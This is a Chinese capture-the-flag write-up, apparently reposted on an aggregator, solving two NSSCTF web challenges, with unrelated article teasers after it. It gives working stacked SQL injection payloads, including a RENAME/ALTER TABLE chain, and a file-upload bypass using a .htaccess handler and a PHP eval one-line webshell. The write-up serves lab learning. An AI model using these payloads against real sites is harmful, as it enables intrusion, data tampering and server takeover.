NSSCTF-Web题目10

news2024/11/17 16:16:35

目录

[强网杯 2019]随便注

1、题目

2、知识点

3、思路

[GXYCTF 2019]BabyUpload

1、题目

2、知识点

3、思路


[强网杯 2019]随便注

1、题目
2、知识点

数据库注入,堆叠注入,更改表名

3、思路

正常提交查询,看看数据回显

加入单引号'

?inject=1'

加上注释符,数据正常回显,说明当前是单引号的闭合问题

?inject=1' --+

判断当前表的字段数,说明当前表的字段数有2个

?inject=1' order by 3 --+

判断回显位置

?inject=1' and select 1,2 --+

发现select这些字段都被过滤了,采用大小写,双写都绕过不了

根据题目提示,存在堆叠注入,尝试一下

堆叠注入原理:

服务器端没有对执行数据库语句进行限制,导致可以执行多条数据库语句,php中的mysqli_multi_query函数可以执行多条数据库语句

没有对分号(;)进行过滤

改进:

使用mysqli_query()函数

对分号进行过滤

?inject=1';show databases --+

得到数据库名

还有另外一种方法得到当前数据库的名,这里回显了报错信息,所以使用报错注入函数

?inject=1' and extractvalue(1,concat(0x7e,database())) --+

数据库名:supersqli

判断表名

?inject=1';show tables --+

存在两个表: 1919810931114514、words

判断表的字段

这里表名要使用飘号`,而不是单引号'

1、两者在linux下和windows下不同,linux下不区分,windows下区分

2、在windows下引用数据库、表、索引、列和别名是需要用飘号(`)

?inject=1';show columns from `1919810931114514` --+

?inject=1';show columns from `words` --+

通过之前判断表的字段的有两个,结合这里的字段,判断当前的表为words

现在存在一个问题,select字段不能用,表又是words,不能直接获得flag字段的内容

看别人的wp才知道,alter和rename这两个字段没有被过滤,我们可以将words表改成1919810931114514,再改字段名

poc:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;--+

RENAME TABLE `words` TO `words1`  先将words表名改成words1

RENAME TABLE `1919810931114514` TO `words` 再将1919810931114514改成words

这样改表名才不会冲突

ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;

将1919810931114514表原来的flag字段名改成id这个名字,这样我们就可以通过搜索id得到flag

show columns from words 查看改完的结果

使用 1' or '1'='1

使用这样的payload是为了闭合 ' 而且不注释掉原本后面数据库的语句

得到flag:NSSCTF{eeaa7910-f2b4-4d94-831b-f5abd8f7c432}


[GXYCTF 2019]BabyUpload

1、题目

2、知识点

文件上传,.htaccess文件的利用

3、思路

这里我们上传一个正常的文件

发现上传不了,jpg、png、jpeg都尝试过了,上传后都是同一结果

经过我的测试,发现是文件内容太大了

重新上传正常图片

将原本的图片内容删掉,随便输入内容,发现可以上传成功,说明对文件大小做了限制

我们尝试上传php文件

发现对后缀名进行了过滤,也对内容进行了过滤

这里发现php的版本为5.6.23,算是比较旧的

尝试上传一个.htaccess文件,这个文件的作用就是可以执行图片里面的php、javascript代码

.htaccess:

<FilesMatch "flag.jpg"> #这一句的内容作用于后面上传的flag.jpg文件
SetHandler application/x-httpd-php
</FilesMatch>

上传成功

因为前面知道会检测文件的内容,php代码不行,我们可以尝试javascript的代码

flag.jpg:

##一句话木马

<script language='php'>eval($_POST[cmd]);</script>

上传成功,使用蚁剑进行连接

原本的url+upload/2acc77dfba671c79863c87009020349c/flag.jpg

在根目录下找到flag文件

得到flag:NSSCTF{d856bb6b-4b7e-48e2-a246-e3ab923562e2}


这篇文章就写到这里了,哪里不懂的或者不足的欢迎批评指正

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1838819.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ubuntu下FastDDS的源码编译和简单测试

FastDDS是eprosima公司开发的DDS&#xff08;Data Distribution Service&#xff09;库&#xff0c;使用的语言是C&#xff0c;自称是"The Most Complete Open Source DDS Middleware"&#xff0c;其官网是https://eprosima.com/&#xff0c;FastDDS源码在https://gi…

金鸣识别系统:PDF转Excel的高效利器

在日常办公中&#xff0c;我们经常需要将PDF文档转换为Excel表格以便进行数据分析。然而&#xff0c;当有些PDF转换过程可能会变得复杂&#xff0c;因为许多转换工具无法完美处理图片元素&#xff0c;导致转换后的准确率不高或排版错乱。幸运的是&#xff0c;金鸣识别系统以其卓…

细致解析跨境电商多平台搭建利器-179海关接口源码应用方法

介绍 跨境电商已成为当前电商行业的热门发展方向之一。为满足跨境电商的需求&#xff0c;各大平台纷纷推出了多平台搭建利器。其中&#xff0c;179海关接口源码是一款非常实用的工具&#xff0c;本文将对其应用方法进行细致解析。 了解179海关接口源码 179海关接口源码可以帮…

天翼云8080、80端口用不了的问题

天翼云8080、80端口用不了的问题 前言&#xff1a;前段时间天翼云搞了活动&#xff0c;原来公司用的华为云老板说太贵了也快到期了&#xff0c;就换了天翼云的服务器。 排查&#xff1a; 安全组开放 80 8080 防火墙查看 没有问题 nginx nacos dcoker等停了 查看监听端口 发现…

回答网友的一个DBGrid的问题

起因 网友在QQ群里问Text字段的显示问题。 俺回答&#xff1a;百度了一下 方法有 很多很多 。然后给他百度了6种方案。然后告诉他找个顺眼的用。 可是&#xff0c;对方感觉都顺眼。俺就新写了一个 。 代码 创建测试数据 begin ADODataSet1.DisableControls; colcnt:5; …

git 基本命令

列出分支基本命令&#xff1a; git branch 如果我们要手动创建一个分支 。执行 git branch (branchname) 即可&#xff1a; git branch testing 切换到testing分支&#xff1a; git checkout testing 我们也可以使用 git checkout -b (branchname) 命令来创建新分支并立…

斯巴达(Spartanhost)VPS的性能评测

原创原文链接&#xff1a;详细斯巴达&#xff08;Spartanhost&#xff09;VPS的性能和购买价值评测 | BOBO Blog (soulcloser.com)https://www.soulcloser.com/3398/ 引言 最近看了全球的VPS商家&#xff0c;想搞台网站高性能的服务器&#xff0c;发现一个特别有意思的商家竟…

反激开关电源整流桥选型及计算

整流桥的作用就是把输入交流电压整形成直流电压&#xff0c;把正弦波整成馒头波&#xff0c;由于整流管的单向导电 性&#xff0c;在输入电压瞬时值小于滤波电容上电压时整流桥&#xff0c;在这个时候是不导通的&#xff0c;使整流桥的电流变 成2-3ms左右的窄脉冲。为获得所需…

深信服终端安全管理系统EDR版本升级过程

EDR当前版本为3.7.12&#xff0c;具体参考版本详情参数。需要升级到6.0.2R1版本&#xff0c;该版本更改了产品名称&#xff0c;叫做“统一端点安全管理系统aES” 当前版本详情 版本基础信息 软件版本&#xff1a;3.7.12.3829 病毒库版本&#xff1a;20240618174426 漏洞规则库&…

在金仓数据库中导入sql文件,解决中文数据乱码问题

先确定数据库服务端编码方式是UTF8&#xff0c;如果不是&#xff0c;那就先解决这个问题。操作&#xff1a;当连接数据库之后&#xff0c;执行show server_encoding 用Notepad打开&#xff0c;目的&#xff1a;确定文件编码是UTF-8格式 在sql文件前面加上set NAMES utf8; …

为什么AC/DC线性电源的体积大?

电源按照转换原理分类&#xff0c;可分为线性电源和开关电源。线性电源和开关电源的特点如下&#xff1a; 1、线性电源的调整管工作在放大状态&#xff0c;因而发热量大&#xff0c;效率低&#xff08;与压降多少有关&#xff09;&#xff0c;需要加体积庞大的散热片。实现交流…

第6章 设备驱动程序(3)

目录 6.5 块设备操作 6.5.1 块设备的表示 6.5.2 数据结构 6.5.3 向系统添加磁盘和分区 6.5.4 打开块设备文件 本专栏文章将有70篇左右&#xff0c;欢迎关注&#xff0c;查看后续文章。 6.5 块设备操作 特点&#xff1a; 随机访问任意位置。 固定块大小的传输。 块设备在内…

探究 IP 地址被网站封禁的原因

在我们登录各种网站、APP浏览时&#xff0c;可能会遇到 IP 地址被某些网站封禁的情况。很多人奇怪这是为什么呢&#xff1f; 首先&#xff0c;违反网站的使用规则是比较常见的原因之一。比如&#xff0c;频繁发送垃圾邮件、恶意评论、进行网络攻击或试图破解网站的安全机制等不…

邻氯苯甲酰氯在医药、农药等领域应用广泛 市场需求稳定且有增长趋势

邻氯苯甲酰氯在医药、农药等领域应用广泛 市场需求稳定且有增长趋势 邻氯苯甲酰氯又称为2-氯苯甲酰氯、氯化邻氯苯甲酰&#xff0c;化学式为C7H4Cl2O&#xff0c;是一种化学物质&#xff0c;外观为黄色液体&#xff0c;不溶于水&#xff0c;溶于醇、醚、丙酮&#xff0c;有强烈…

调度算法-进程调度算法

发⽣ CPU 调度通常有以下情况&#xff1a; 1. 当进程从运⾏状态转到等待状态&#xff1b;2. 当进程从运⾏状态转到就绪状态&#xff1b;3. 当进程从等待状态转到就绪状态&#xff1b;4. 当进程从运⾏状态转到终⽌状态 常⻅的调度算法&#xff1a; 先来先服务调度算法最短作业…

@pytest.fixture与@pytest.mark.parametrize结合实现参数化

背景&#xff1a;测试数据既要在fixture方法中使用&#xff0c;同时也在测试用例中使用 使用方法&#xff1a;在使用parametrize的时候添加"indirectTrue"参数。pytest可以实现将参数传到fixture方法中&#xff0c;也可以在当前测试用例中使用。 原理&#xff1a;参…

硕思闪客精灵_2024最新版下载-闪客精灵软件下载_闪客精灵应用软件

​不同领域的应用证明了能够解析Flash动画片中的视频文件并以*.fla格式进行导出。人所共知的是支持预览和播放所选的Flash动画片或元素。我们都知道除了将静态文字恢复为文本外&#xff0c;硕思闪客精灵提供了将它转换为矢量图的功能。相信大家都认同闪客精灵专业版的优势&…

【YOLOv10改进[注意力]】添加注意力CascadedGroupAttention(2023) + 含全部代码和详细修改方式 + 手撕结构图 + 全网首发

本文将进行使用注意力CascadedGroupAttention的实践,助力YOLOv10目标检测效果的实践,文中含全部代码、详细修改方式以及手撕结构图。助您轻松理解改进的方法。 改进前和改进后的参数对比: 目录 一 CascadedGroupAttention 二 使用注意力CascadedGroupAttention 1 整体…

智慧校园软件开发:为学校量身定制的技术解决方案

为了满足智慧校园的需求&#xff0c;一套全面的软件解决方案被设计出来&#xff0c;旨在优化学校管理和提升教学质量。首先&#xff0c;通过实施统一的认证门户&#xff0c;结合OAuth2和SSO技术&#xff0c;确保不同用户群体能便捷且安全地访问所需资源。 教务管理系统被构建成…

【电源开发】输出电压纹波

输出电压纹波是什么 电压纹波指的是直流输出电压中一个交流部分 减小输出电压纹波的方法 调整输出端的电容值 提高开关电源的工作频率